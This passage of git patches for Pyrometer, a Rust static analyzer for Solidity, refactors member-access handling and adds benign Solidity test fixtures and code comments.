-> Result<(), ExprErr> { + ) -> Result { match member { ExprRet::Single(idx) | ExprRet::SingleLiteral(idx) => { - ctx.push_expr(self.member_access_inner(ctx, idx, name, loc)?, self) - .into_expr_err(loc)?; - Ok(()) + let (inner, was_lib_func) = self.member_access_inner(ctx, idx, name, loc)?; + ctx.push_expr(inner, self).into_expr_err(loc)?; + Ok(was_lib_func) } - ExprRet::Multi(inner) => inner - .into_iter() - .try_for_each(|member| self.match_member(ctx, member, name, loc)), - ExprRet::CtxKilled(kind) => ctx.kill(self, loc, kind).into_expr_err(loc), - ExprRet::Null => Ok(()), + ExprRet::Multi(inner) => { + inner.into_iter().try_for_each(|member| { + let _ = self.match_member(ctx, member, name, loc)?; + Ok(()) + })?; + Ok(false) + } + ExprRet::CtxKilled(kind) => { + ctx.kill(self, loc, kind).into_expr_err(loc)?; + Ok(false) + } + ExprRet::Null => Ok(false), } } @@ -79,7 +87,7 @@ pub trait MemberAccess: member_idx: NodeIdx, name: &str, loc: Loc, - ) -> Result { + ) -> Result<(ExprRet, bool), ExprErr> { match self.node(member_idx) { Node::ContextVar(_) => { self.member_access_var(ctx, ContextVarNode::from(member_idx), name, loc) @@ -100,8 +108,14 @@ pub trait MemberAccess: } Node::Enum(_c) => self.enum_member_access(ctx, EnumNode::from(member_idx), name, loc), Node::Ty(_ty) => self.ty_member_access(ctx, TyNode::from(member_idx), name, loc), - Node::Msg(_msg) => self.msg_access(ctx, name, loc), - Node::Block(_b) => self.block_access(ctx, name, loc), + Node::Msg(_msg) => { + let res = self.msg_access(ctx, name, loc)?; + Ok((res, false)) + } + Node::Block(_b) => { + let res = self.block_access(ctx, name, loc)?; + Ok((res, false)) + } Node::Builtin(ref _b) => { self.builtin_member_access(ctx, BuiltInNode::from(member_idx), name, false, loc) } @@ -126,58 +140,58 @@ pub trait MemberAccess: cvar.ty ); match &cvar.ty { - VarType::User(TypeNode::Contract(con_node), _) => { - let cnode = *con_node; - let mut funcs = cnode.linearized_functions(self).into_expr_err(loc)?; - self - .possible_library_funcs(ctx, cnode.0.into()) - .into_iter() - .for_each(|func| { - let name = func.name(self).unwrap(); - funcs.entry(name).or_insert(func); - }); - funcs.values().copied().collect() - }, - VarType::BuiltIn(bn, _) => self - .possible_library_funcs(ctx, bn.0.into()) - .into_iter() - .collect::>(), - VarType::Concrete(cnode) => { - let b = cnode.underlying(self).unwrap().as_builtin(); - let bn = self.builtin_or_add(b); - self.possible_library_funcs(ctx, bn) + VarType::User(TypeNode::Contract(con_node), _) => { + let cnode = *con_node; + let mut funcs = cnode.linearized_functions(self, false).into_expr_err(loc)?; + self + .possible_library_funcs(ctx, cnode.0.into()) .into_iter() - .collect::>() - } - VarType::User(TypeNode::Struct(sn), _) => self - .possible_library_funcs(ctx, sn.0.into()) - .into_iter() - .collect::>(), - VarType::User(TypeNode::Enum(en), _) => self - .possible_library_funcs(ctx, en.0.into()) - .into_iter() - .collect::>(), - VarType::User(TypeNode::Ty(ty), _) => self - .possible_library_funcs(ctx, ty.0.into()) - .into_iter() - .collect::>(), - VarType::User(TypeNode::Error(err), _) => self - .possible_library_funcs(ctx, err.0.into()) - .into_iter() - .collect::>(), - VarType::User(TypeNode::Func(func_node), _) => self - .possible_library_funcs(ctx, func_node.0.into()) - .into_iter() - .collect::>(), - VarType::User(TypeNode::Unresolved(n), _) => { - match self.node(*n) { - Node::Unresolved(ident) => { - return Err(ExprErr::Unresolved(loc, format!("The type \"{}\" is currently unresolved but should have been resolved by now. This is a bug.", ident.name))) + .for_each(|func| { + let name = func.name(self).unwrap(); + funcs.entry(name).or_insert(func); + }); + funcs.values().copied().collect() + }, + VarType::BuiltIn(bn, _) => self + .possible_library_funcs(ctx, bn.0.into()) + .into_iter() + .collect::>(), + VarType::Concrete(cnode) => { + let b = cnode.underlying(self).unwrap().as_builtin(); + let bn = self.builtin_or_add(b); + self.possible_library_funcs(ctx, bn) + .into_iter() + .collect::>() + } + VarType::User(TypeNode::Struct(sn), _) => self + .possible_library_funcs(ctx, sn.0.into()) + .into_iter() + .collect::>(), + VarType::User(TypeNode::Enum(en), _) => self + .possible_library_funcs(ctx, en.0.into()) + .into_iter() + .collect::>(), + VarType::User(TypeNode::Ty(ty), _) => self + .possible_library_funcs(ctx, ty.0.into()) + .into_iter() + .collect::>(), + VarType::User(TypeNode::Error(err), _) => self + .possible_library_funcs(ctx, err.0.into()) + .into_iter() + .collect::>(), + VarType::User(TypeNode::Func(func_node), _) => self + .possible_library_funcs(ctx, func_node.0.into()) + .into_iter() + .collect::>(), + VarType::User(TypeNode::Unresolved(n), _) => { + match self.node(*n) { + Node::Unresolved(ident) => { + return Err(ExprErr::Unresolved(loc, format!("The type \"{}\" is currently unresolved but should have been resolved by now. This is a bug.", ident.name))) + } + _ => unreachable!() } - _ => unreachable!() } } - } } Node::Contract(_) => ContractNode::from(member_idx).funcs(self), Node::Concrete(_) @@ -206,7 +220,7 @@ pub trait MemberAccess: cvar: ContextVarNode, name: &str, loc: Loc, - ) -> Result { + ) -> Result<(ExprRet, bool), ExprErr> { match cvar.ty(self).into_expr_err(loc)? { VarType::User(TypeNode::Struct(struct_node), _) => { self.struct_var_member_access(ctx, cvar, *struct_node, name, loc) @@ -215,7 +229,7 @@ pub trait MemberAccess: self.enum_member_access(ctx, *enum_node, name, loc) } VarType::User(TypeNode::Func(func_node), _) => { - self.func_member_access(ctx, *func_node, name, loc) + Ok((self.func_member_access(ctx, *func_node, name, loc)?, false)) } VarType::User(TypeNode::Ty(ty_node), _) => { self.ty_member_access(ctx, *ty_node, name, loc) @@ -255,12 +269,12 @@ pub trait MemberAccess: ty_node: TyNode, name: &str, loc: Loc, - ) -> Result { + ) -> Result<(ExprRet, bool), ExprErr> { let name = name.split('(').collect::>()[0]; if let Some(func) = self.library_func_search(ctx, ty_node.0.into(), name) { - Ok(func) + Ok((func, true)) } else if let Some(func) = self.builtin_fn_or_maybe_add(name) { - Ok(ExprRet::Single(func)) + Ok((ExprRet::Single(func), false)) } else { Err(ExprErr::MemberAccessNotFound( loc, diff --git a/crates/solc-expressions/src/member_access/struct_access.rs b/crates/solc-expressions/src/member_access/struct_access.rs index d535e5bf..2a88fc2d 100644 --- a/crates/solc-expressions/src/member_access/struct_access.rs +++ b/crates/solc-expressions/src/member_access/struct_access.rs @@ -24,13 +24,13 @@ pub trait StructAccess: struct_node: StructNode, field_name: &str, loc: Loc, - ) -> Result { + ) -> Result<(ExprRet, bool), ExprErr> { let cvar_name = cvar.name(self).unwrap(); let name = format!("{cvar_name}.{field_name}"); tracing::trace!("Struct member access: {cvar_name}.{field_name}"); if let Some(field) = cvar.field_of_struct(field_name, self).into_expr_err(loc)? { - return Ok(ExprRet::Single(field.into())); + return Ok((ExprRet::Single(field.into()), false)); } if let Some(field) = struct_node.find_field(self, field_name) { @@ -46,12 +46,12 @@ pub trait StructAccess: cvar.first_version(self), Edge::Context(ContextEdge::AttrAccess("field")), ); - Ok(ExprRet::Single(fc_node)) + Ok((ExprRet::Single(fc_node), false)) } else { panic!("Couldn't create field variable"); } } else if let Some(func) = self.library_func_search(ctx, struct_node.0.into(), &name) { - Ok(func) + Ok((func, true)) } else { Err(ExprErr::MemberAccessNotFound( loc, diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index 984416ba..7e82c489 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -969,7 +969,9 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { } RangeOp::Neq => { // check if contains - let mut elem = Elem::from(const_var.latest_version_or_inherited_in_ctx(ctx, self)); + let mut elem = Elem::from(const_var.latest_version_or_inherited_in_ctx(ctx, self)) + .minimize(self, arena) + .unwrap(); // potentially add the const var as a range exclusion if let Some(Ordering::Equal) = nonconst_range From ad9c1f89971cb113ad25049587592e979abf31c1 Mon Sep 17 00:00:00 2001 From: plotchy Date: Fri, 19 Jul 2024 20:19:37 -0400 Subject: [PATCH 23/52] feat: add coverage tests --- crates/pyrometer/tests/no_killed_ctxs.rs | 38 ++++++ crates/pyrometer/tests/test_data/assign.sol | 20 ++++ crates/pyrometer/tests/test_data/bin_op.sol | 10 ++ crates/pyrometer/tests/test_data/cmp.sol | 10 ++ crates/pyrometer/tests/test_data/cond_op.sol | 53 +++++++++ .../pyrometer/tests/test_data/dyn_types.sol | 45 ++++++++ crates/pyrometer/tests/test_data/env.sol | 41 +++++++ .../tests/test_data/function_calls.sol | 52 +++++++++ crates/pyrometer/tests/test_data/literals.sol | 39 +++++++ crates/pyrometer/tests/test_data/require.sol | 16 ++- .../tests/test_data/require_with_killed.sol | 109 ++++++++++++++++++ 11 files changed, 429 insertions(+), 4 deletions(-) create mode 100644 crates/pyrometer/tests/test_data/assign.sol create mode 100644 crates/pyrometer/tests/test_data/bin_op.sol create mode 100644 crates/pyrometer/tests/test_data/cmp.sol create mode 100644 crates/pyrometer/tests/test_data/cond_op.sol create mode 100644 crates/pyrometer/tests/test_data/literals.sol create mode 100644 crates/pyrometer/tests/test_data/require_with_killed.sol diff --git a/crates/pyrometer/tests/no_killed_ctxs.rs b/crates/pyrometer/tests/no_killed_ctxs.rs index b56de34f..69c3319e 100644 --- a/crates/pyrometer/tests/no_killed_ctxs.rs +++ b/crates/pyrometer/tests/no_killed_ctxs.rs @@ -2,6 +2,14 @@ use std::env; mod helpers; use helpers::*; +#[test] +fn test_assign() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let path_str = format!("{manifest_dir}/tests/test_data/assign.sol"); + let sol = include_str!("./test_data/assign.sol"); + assert_no_ctx_killed(path_str, sol); +} + #[test] fn test_bitwise() { let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); @@ -10,6 +18,14 @@ fn test_bitwise() { assert_no_ctx_killed(path_str, sol); } +#[test] +fn test_binop() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let path_str = format!("{manifest_dir}/tests/test_data/bin_op.sol"); + let sol = include_str!("./test_data/bin_op.sol"); + assert_no_ctx_killed(path_str, sol); +} + #[test] fn test_cast() { let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); @@ -18,6 +34,13 @@ fn test_cast() { assert_no_ctx_killed(path_str, sol); } +#[test] +fn test_condop() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let path_str = format!("{manifest_dir}/tests/test_data/cond_op.sol"); + assert_no_parse_errors(path_str); +} + #[test] fn test_dyn_types() { let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); @@ -42,6 +65,14 @@ fn test_function_calls() { assert_no_ctx_killed(path_str, sol); } +#[test] +fn test_literals() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let path_str = format!("{manifest_dir}/tests/test_data/literals.sol"); + let sol = include_str!("./test_data/literals.sol"); + assert_no_ctx_killed(path_str, sol); +} + #[test] fn test_logical() { let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); @@ -82,6 +113,13 @@ fn test_require() { assert_no_ctx_killed(path_str, sol); } +#[test] +fn test_require_with_killed() { + let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); + let path_str = format!("{manifest_dir}/tests/test_data/require_with_killed.sol"); + assert_no_parse_errors(path_str); +} + #[test] fn test_using() { let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); diff --git a/crates/pyrometer/tests/test_data/assign.sol b/crates/pyrometer/tests/test_data/assign.sol new file mode 100644 index 00000000..64ce63cb --- /dev/null +++ b/crates/pyrometer/tests/test_data/assign.sol @@ -0,0 +1,20 @@ +pragma solidity ^0.8.0; + +contract Assign { + + function doAssignment() public { + // Multi-value LHS (tuple) + (uint x, uint y) = (uint16(1), 2); + + // Single value RHS + uint z = 3; + + (x, y) = (z, z); + + // uint[2] memory a = [uint(1), uint(2)]; + // uint[2] memory b = [uint(3), uint(4)]; + + + // (a, b) = (b, a); + } +} \ No newline at end of file diff --git a/crates/pyrometer/tests/test_data/bin_op.sol b/crates/pyrometer/tests/test_data/bin_op.sol new file mode 100644 index 00000000..90db5cdb --- /dev/null +++ b/crates/pyrometer/tests/test_data/bin_op.sol @@ -0,0 +1,10 @@ +pragma solidity ^0.8.0; + +contract BinOp { + + function testBinOp(int y) public { + int x = 1; + int z = 5 + x; + int a = x * y; + } +} \ No newline at end of file diff --git a/crates/pyrometer/tests/test_data/cmp.sol b/crates/pyrometer/tests/test_data/cmp.sol new file mode 100644 index 00000000..2c7b0f32 --- /dev/null +++ b/crates/pyrometer/tests/test_data/cmp.sol @@ -0,0 +1,10 @@ +pragma solidity ^0.8.0; + +contract Cmp { + + function testCmp(int x) public { + uint a = 5; + bool b = (5 < 6) || (5 == 6 && 0 < 1); // Correct the tuple comparison + + } +} \ No newline at end of file diff --git a/crates/pyrometer/tests/test_data/cond_op.sol b/crates/pyrometer/tests/test_data/cond_op.sol new file mode 100644 index 00000000..5279d074 --- /dev/null +++ b/crates/pyrometer/tests/test_data/cond_op.sol @@ -0,0 +1,53 @@ +pragma solidity ^0.8.0; + +contract CondOp { + + function if_both_possible(uint x) public returns (uint) { + if (x > 100) { + return 1; + } else { + return 2; + } + } + + function if_first_possible() public returns (uint) { + uint x = 101; + if (x > 100) { + return 1; + } else { + return 2; + } + } + + function if_second_possible() public returns (uint) { + uint x = 99; + if (x > 100) { + return 1; + } else { + return 2; + } + } + + function if_neither_possible(uint x) public returns (uint) { + if (x > 100) { + require(x < 100); // not possible + return 1; + } else { + require(x > 100); // not possible + return 2; + } + return 0; + } + + + function ternaryParam(uint x) public returns (uint) { + uint y = x > 2 ? 1 : 2; + return y; + } + + function ternaryLiteral() public returns (uint) { + uint y = 1 > 2 ? 1 : 2; + "pyro::variable::y::range::[2,2]"; + return y; + } +} \ No newline at end of file diff --git a/crates/pyrometer/tests/test_data/dyn_types.sol b/crates/pyrometer/tests/test_data/dyn_types.sol index 81d4e01e..ce09a89e 100644 --- a/crates/pyrometer/tests/test_data/dyn_types.sol +++ b/crates/pyrometer/tests/test_data/dyn_types.sol @@ -7,6 +7,7 @@ contract DynTypes { } mapping(address => Strukt) public someMapping; + mapping(address => Strukt[]) public someMapping2; function bytes_dyn(bytes calldata x) public { bytes memory y = x; @@ -15,6 +16,7 @@ contract DynTypes { require(y.length == 9); } + function array_dyn(uint256[] memory x) public { x[0] = 5; require(x.length < 10); @@ -80,4 +82,47 @@ contract DynTypes { address holder = holders[j]; } } + + struct DontUseMoreThanOnce { + uint256 a; + uint256 b; + } + + function dynUserType() public { + DontUseMoreThanOnce[] memory dont = new DontUseMoreThanOnce[](1); + dont[0].a = 100; + dont[0].b = 100; + require(dont[0].a == 100); + } + + function getReturnedUserType() public pure { + // Strukt[] memory strukt = returnUserType()[0]; + Strukt memory strukt = returnUserType()[0]; + require(strukt.a == 100); + } + + function returnUserType() public pure returns (Strukt[] memory) { + Strukt[] memory strukt = new Strukt[](1); + strukt[0].a = 100; + strukt[0].b = 100; + return strukt; + } + + function multiDimensionalArray() public returns (bool z) { + uint256[][] memory multiArray = new uint256[][](2); + uint256[] memory indices = new uint256[](2); + + indices[0] = 0; + indices[1] = 1; + + for (uint i = 0; i < multiArray.length; i++) { + multiArray[i] = new uint256[](2); + for (uint j = 0; j < multiArray[i].length; j++) { + multiArray[i][j] = 1; + } + } + + z = true; + } + } diff --git a/crates/pyrometer/tests/test_data/env.sol b/crates/pyrometer/tests/test_data/env.sol index a11015f2..1655f2e8 100644 --- a/crates/pyrometer/tests/test_data/env.sol +++ b/crates/pyrometer/tests/test_data/env.sol @@ -6,4 +6,45 @@ contract Env { function msg_data() public returns (bytes memory) { return msg.data; } + + function testBlock() public payable { + /* + blockhash(uint blockNumber) returns (bytes32): hash of the given block - only works for 256 most recent blocks + blobhash(uint index) returns (bytes32): versioned hash of the index-th blob associated with the current transaction. A versioned hash consists of a single byte representing the version (currently 0x01), followed by the last 31 bytes of the SHA256 hash of the KZG commitment (EIP-4844). + block.basefee (uint): current block’s base fee (EIP-3198 and EIP-1559) + block.blobbasefee (uint): current block’s blob base fee (EIP-7516 and EIP-4844) + block.chainid (uint): current chain id + block.coinbase (address payable): current block miner’s address + block.difficulty (uint): current block difficulty (EVM < Paris). For other EVM versions it behaves as a deprecated alias for block.prevrandao that will be removed in the next breaking release + block.gaslimit (uint): current block gaslimit + block.number (uint): current block number + block.prevrandao (uint): random number provided by the beacon chain (EVM >= Paris) (see EIP-4399 ) + block.timestamp (uint): current block timestamp in seconds since Unix epoch + gasleft() returns (uint256): remaining gas + msg.data (bytes): complete calldata + msg.sender (address): sender of the message (current call) + msg.sig (bytes4): first four bytes of the calldata (i.e. function identifier) + msg.value (uint): number of wei sent with the message + tx.gasprice (uint): gas price of the transaction + tx.origin (address): sender of the transaction (full call chain) + */ + bytes32 a = blockhash(1); + bytes32 b = blobhash(1); + uint c = block.basefee; + uint d = block.blobbasefee; + uint e = block.chainid; + address payable f = block.coinbase; + uint g = block.difficulty; + uint h = block.gaslimit; + uint i = block.number; + uint j = block.prevrandao; + uint k = block.timestamp; + uint l = gasleft(); + bytes memory m = msg.data; + address n = msg.sender; + bytes4 o = msg.sig; + uint p = msg.value; + uint q = tx.gasprice; + address r = tx.origin; + } } diff --git a/crates/pyrometer/tests/test_data/function_calls.sol b/crates/pyrometer/tests/test_data/function_calls.sol index e687f402..d0a9faaf 100644 --- a/crates/pyrometer/tests/test_data/function_calls.sol +++ b/crates/pyrometer/tests/test_data/function_calls.sol @@ -83,3 +83,55 @@ contract ExternalFuncCalls { // function foo(address by, address from, address to, uint256 id) internal {} // } + +contract S1 { + function a(uint x) internal pure virtual returns (uint) { + return 100; + } +} + +contract S2 { + function a(uint x) internal pure virtual returns (uint) { + return 10; + } + + function b(uint x) internal pure virtual returns (uint) { + return 10; + } +} + +contract C is S1, S2 { + function supers(uint128 x) public pure returns (uint) { + uint local_a = a(1); + uint super_a = super.a(1); + require(local_a == 50); + require(super_a == 10); + + uint local_super_b = b(x); + uint super_b = super.b(x); + require(local_super_b == super_b); + return 0; + } + + function a(uint256 x) internal pure override(S1, S2) returns (uint) { + return 50; + } +} + +contract D is S2, S1 { + function supers(uint128 x) public pure returns (uint) { + uint local_a = a(1); + uint super_a = super.a(1); + require(local_a == 50); + require(super_a == 100); + + uint local_super_b = b(x); + uint super_b = super.b(x); + require(local_super_b == super_b); + return 0; + } + + function a(uint256 x) internal pure override(S1, S2) returns (uint) { + return 50; + } +} \ No newline at end of file diff --git a/crates/pyrometer/tests/test_data/literals.sol b/crates/pyrometer/tests/test_data/literals.sol new file mode 100644 index 00000000..cc138c36 --- /dev/null +++ b/crates/pyrometer/tests/test_data/literals.sol @@ -0,0 +1,39 @@ +contract Literals { + + function foo() public returns (string memory) { + uint a = 115792089237316195423570985008687907853269984665640564039457584007913129639935; // ok + // uint b = 115792089237316195423570985008687907853269984665640564039457584007913129639936; // too big + // uint c = 115792089237316195423570985008687907853269984665640564039457584007913129639935 ** 2; // too big + int d = -57896044618658097711785492504343953926634992332820282019728792003956564819968; // ok + // int e = -57896044618658097711785492504343953926634992332820282019728792003956564819969; // too big + uint f = 1.0 ** 2; // ok + // uint g = 1.5 ** 2; // not uint + uint h = 1.5 ** 0; // ok + "pyro::variable::h::range::[1,1]"; + uint256 i = 123 ** 10; // 792594609605189126649 + address w = address(0xdCad3a6d3569DF655070DEd06cb7A1b2Ccd1D3AF); + w = 0xdCad3a6d3569D_F655070DEd06cb7A_1b2Ccd1D3AF; + + uint j = 0.000000002e18; + j = 25; + j = 1.5e0 ether; + "pyro::variable::j::range::[1500000000000000000,1500000000000000000]"; + int k = -0; + k = 25.5e5; + k = -23.5e5 ether; + "pyro::variable::k::range::[-2350000000000000000000000,-2350000000000000000000000]"; + + k = -23.5e5 seconds; + k = -23.5e5 minutes; + k = -23.5e5 hours; + k = -23.5e5 days; + k = -23.5e5 weeks; + k = -0x54; + "pyro::variable::k::range::[-84,-84]"; + string memory s = unicode"🔥🔫"; // TODO unicode string values is not correct yet + + bytes memory r = hex"11111111111111111111111111111111111111111111111111111111111111111111111111111111"; + r = hex"1111111111111111111111111111111111111111" hex"111111111111111111111111111111111111111111111111"; + return s; + } +} \ No newline at end of file diff --git a/crates/pyrometer/tests/test_data/require.sol b/crates/pyrometer/tests/test_data/require.sol index e010536b..454278d0 100644 --- a/crates/pyrometer/tests/test_data/require.sol +++ b/crates/pyrometer/tests/test_data/require.sol @@ -40,10 +40,6 @@ contract Require { require(x != bytes32(hex"1337")); } - function b_ytes32_neq(bytes32 x) public { - require(x != bytes32(hex"00")); - } - function b_ytes16(bytes16 x) public { require(x == bytes16(hex"1337")); } @@ -63,4 +59,16 @@ contract Require { function b_ytes1(bytes1 x) public { require(x == bytes1(hex"13")); } + + function UintMoreEqual(uint8 x) public { + require(x >= 100); + "pyro::constraint::(x >= 100)"; + "pyro::variable::x::range::[100, 255]"; + } + + function UintLessEqual(uint8 x) public { + require(x <= 100); + "pyro::constraint::(x <= 100)"; + "pyro::variable::x::range::[0, 100]"; + } } diff --git a/crates/pyrometer/tests/test_data/require_with_killed.sol b/crates/pyrometer/tests/test_data/require_with_killed.sol new file mode 100644 index 00000000..f85937b2 --- /dev/null +++ b/crates/pyrometer/tests/test_data/require_with_killed.sol @@ -0,0 +1,109 @@ +contract RequireWithKilled { + + uint public count = 0; + uint storeRange = 0; + function setStoreRange(uint x) public { + storeRange = x; + } + + function requireLt(uint x) public { + // set bounds for storeRange + require(5 < storeRange && storeRange < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x less than storeRange + require(x < storeRange); + } + + function requireLtLocal(uint x) public { + uint y = 50; + // set bounds for storeRange + require(5 < y && y < 100); + // set tighter bounds for x + require(6 < x && x < 99); + // make x less than storeRange + require(x < y); + } + + function setCount() public { + count = 0; + } + function andShortCircuit() public { + count = 0; + // ( bump(false) && bump(true) ) || true , this will test that the second bump is not evaluated since the `and` short circuits + require((bumpCountIfValueEq1ThenReturn(1, false) && bumpCountIfValueEq1ThenReturn(1, true)) || true); + "pyro::variable::count::range::[1, 1]"; + } + + function andFullCircuit() public { + count = 0; + // ( bump(true) && bump(true) ) , this will test that the second bump is evaluated since the `and` does not short circuit + require(bumpCountIfValueEq1ThenReturn(1, true) && bumpCountIfValueEq1ThenReturn(1, true)); + "pyro::variable::count::range::[2, 2]"; + } + + function orShortCircuit() public { + count = 0; + // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits + require(bumpCountIfValueEq1ThenReturn(1, true) || bumpCountIfValueEq1ThenReturn(1, true)); + "pyro::variable::count::range::[1, 1]"; + } + + function orShortCircuitRHS() public { + count = 0; + // ( bump(true) || bump(true) ) , this will test that the second bump is not evaluated since the `or` short circuits + require(bumpCountIfValueEq1ThenReturn(2, true) || bumpCountIfValueEq1ThenReturn(1, true)); + "pyro::variable::count::range::[0, 0]"; + + count = 0; + require(bumpCountIfValueEq1ThenReturn(1, true) || true); + "pyro::variable::count::range::[1, 1]"; + + count = 0; + require(true || bumpCountIfValueEq1ThenReturn(1, true)); + "pyro::variable::count::range::[0, 0]"; + } + + function yulAndFullCircuit() public { + count = 0; + assembly { + function bumpCountIfValueEq1ThenReturn(x, returnValue) -> result { + let count_val := sload(0) + // first if needs both x and count to be 0 + if and(eq(count_val, 0), eq(x, 0)) { + // add 1 to count + sstore(0, add(sload(0), 1)) + } + // second if needs both values to be 1 + if and(eq(count_val, 1), eq(x, 1)) { + // add 1 to count + sstore(0, add(sload(0), 1)) + } + result := true + } + + // in yul: rhs is evaluated, then lhs. no short circuiting + if or(bumpCountIfValueEq1ThenReturn(1, true), bumpCountIfValueEq1ThenReturn(0, true)) {} + } + "pyro::variable::count::range::[2, 2]"; + } + + function orFullCircuit() public { + count = 0; + // ( bump(false) || bump(true) ) , this will test that the second bump is evaluated since the `or` does not short circuit + require(bumpCountIfValueEq1ThenReturn(1, false) || bumpCountIfValueEq1ThenReturn(1, true)); + "pyro::variable::count::range::[2, 2]"; + } + + function bumpCountIfValueEq1ThenReturn(uint8 x, bool returnValue) internal returns (bool) { + if (x == 1) { + count += 1; + } + return returnValue; + } + +} + + + + From 765f27a2405a034c868afdf385b321d4e1c9ba57 Mon Sep 17 00:00:00 2001 From: plotchy Date: Fri, 19 Jul 2024 20:21:23 -0400 Subject: [PATCH 24/52] adding comments for match arm examples --- crates/solc-expressions/src/array.rs | 52 +---- crates/solc-expressions/src/assign.rs | 17 +- crates/solc-expressions/src/bin_op.rs | 7 + crates/solc-expressions/src/cmp.rs | 206 +----------------- crates/solc-expressions/src/literal.rs | 1 + .../src/pre_post_in_decrement.rs | 11 +- 6 files changed, 43 insertions(+), 251 deletions(-) diff --git a/crates/solc-expressions/src/array.rs b/crates/solc-expressions/src/array.rs index 017e96ec..df294c87 100644 --- a/crates/solc-expressions/src/array.rs +++ b/crates/solc-expressions/src/array.rs @@ -48,6 +48,8 @@ pub trait Array: AnalyzerBackend + Sized { ) -> Result<(), ExprErr> { match ret { ExprRet::Single(inner_ty) | ExprRet::SingleLiteral(inner_ty) => { + // ie: uint[] + // ie: uint[][] if let Some(var_type) = VarType::try_from_idx(self, inner_ty) { let dyn_b = Builtin::Array(var_type); if let Some(idx) = self.builtins().get(&dyn_b) { @@ -65,6 +67,7 @@ pub trait Array: AnalyzerBackend + Sized { } } ExprRet::Multi(inner) => { + // ie: unsure of syntax needed to get here. (not possible?) inner .into_iter() .map(|i| self.match_ty(ctx, ty_expr, i)) @@ -180,7 +183,6 @@ pub trait Array: AnalyzerBackend + Sized { (RangeOp::Lte, RangeOp::Gte), )?; } - let name = format!( "{}[{}]", parent.name(self).into_expr_err(loc)?, @@ -470,52 +472,4 @@ pub trait Array: AnalyzerBackend + Sized { Ok(()) } } - - fn update_array_min_if_length( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - maybe_length: ContextVarNode, - ) -> Result<(), ExprErr> { - if let Some(backing_arr) = maybe_length.len_var_to_array(self).into_expr_err(loc)? { - let next_arr = self.advance_var_in_ctx( - backing_arr.latest_version_or_inherited_in_ctx(ctx, self), - loc, - ctx, - )?; - let new_len = Elem::from(backing_arr) - .get_length() - .max(maybe_length.into()); - let min = Elem::from(backing_arr).set_length(new_len); - next_arr - .set_range_min(self, arena, min) - .into_expr_err(loc)?; - } - Ok(()) - } - - fn update_array_max_if_length( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - maybe_length: ContextVarNode, - ) -> Result<(), ExprErr> { - if let Some(backing_arr) = maybe_length.len_var_to_array(self).into_expr_err(loc)? { - let next_arr = self.advance_var_in_ctx( - backing_arr.latest_version_or_inherited_in_ctx(ctx, self), - loc, - ctx, - )?; - let new_len = Elem::from(backing_arr) - .get_length() - .min(maybe_length.into()); - let max = Elem::from(backing_arr).set_length(new_len); - next_arr - .set_range_max(self, arena, max) - .into_expr_err(loc)?; - } - Ok(()) - } } diff --git a/crates/solc-expressions/src/assign.rs b/crates/solc-expressions/src/assign.rs index bf6787fc..3a123c87 100644 --- a/crates/solc-expressions/src/assign.rs +++ b/crates/solc-expressions/src/assign.rs @@ -77,6 +77,7 @@ pub trait Assign: AnalyzerBackend + Sized Ok(()) } (ExprRet::Single(lhs), ExprRet::SingleLiteral(rhs)) => { + // ie: uint x = 5; let lhs_cvar = ContextVarNode::from(*lhs).latest_version_or_inherited_in_ctx(ctx, self); let rhs_cvar = @@ -86,6 +87,7 @@ pub trait Assign: AnalyzerBackend + Sized Ok(()) } (ExprRet::Single(lhs), ExprRet::Single(rhs)) => { + // ie: uint x = y; let lhs_cvar = ContextVarNode::from(*lhs).latest_version_or_inherited_in_ctx(ctx, self); let rhs_cvar = @@ -94,23 +96,31 @@ pub trait Assign: AnalyzerBackend + Sized .into_expr_err(loc)?; Ok(()) } - (l @ ExprRet::Single(_), ExprRet::Multi(rhs_sides)) => rhs_sides - .iter() - .try_for_each(|expr_ret| self.match_assign_sides(arena, ctx, loc, l, expr_ret)), + (l @ ExprRet::Single(_), ExprRet::Multi(rhs_sides)) => { + // ie: uint x = (a, b), not possible? + rhs_sides + .iter() + .try_for_each(|expr_ret| self.match_assign_sides(arena, ctx, loc, l, expr_ret)) + } (ExprRet::Multi(lhs_sides), r @ ExprRet::Single(_) | r @ ExprRet::SingleLiteral(_)) => { + // ie: (uint x, uint y) = a, not possible? lhs_sides .iter() .try_for_each(|expr_ret| self.match_assign_sides(arena, ctx, loc, expr_ret, r)) } (ExprRet::Multi(lhs_sides), ExprRet::Multi(rhs_sides)) => { // try to zip sides if they are the same length + // (x, y) = (a, b) + // ie: (x, y) = (a, b, c), not possible? if lhs_sides.len() == rhs_sides.len() { + // (x, y) = (a, b) lhs_sides.iter().zip(rhs_sides.iter()).try_for_each( |(lhs_expr_ret, rhs_expr_ret)| { self.match_assign_sides(arena, ctx, loc, lhs_expr_ret, rhs_expr_ret) }, ) } else { + // ie: (x, y) = (a, b, c), not possible? rhs_sides.iter().try_for_each(|rhs_expr_ret| { self.match_assign_sides(arena, ctx, loc, lhs_paths, rhs_expr_ret) }) @@ -203,6 +213,7 @@ pub trait Assign: AnalyzerBackend + Sized } if !lhs_cvar.ty_eq(&rhs_cvar, self).into_expr_err(loc)? { + // lhs type doesnt match rhs type (not possible? have never reached this) let cast_to_min = match lhs_cvar.range_min(self).into_expr_err(loc)? { Some(v) => v, None => { diff --git a/crates/solc-expressions/src/bin_op.rs b/crates/solc-expressions/src/bin_op.rs index 01c02663..bad31ca5 100644 --- a/crates/solc-expressions/src/bin_op.rs +++ b/crates/solc-expressions/src/bin_op.rs @@ -75,6 +75,7 @@ pub trait BinOp: AnalyzerBackend + Sized { "No right hand side provided 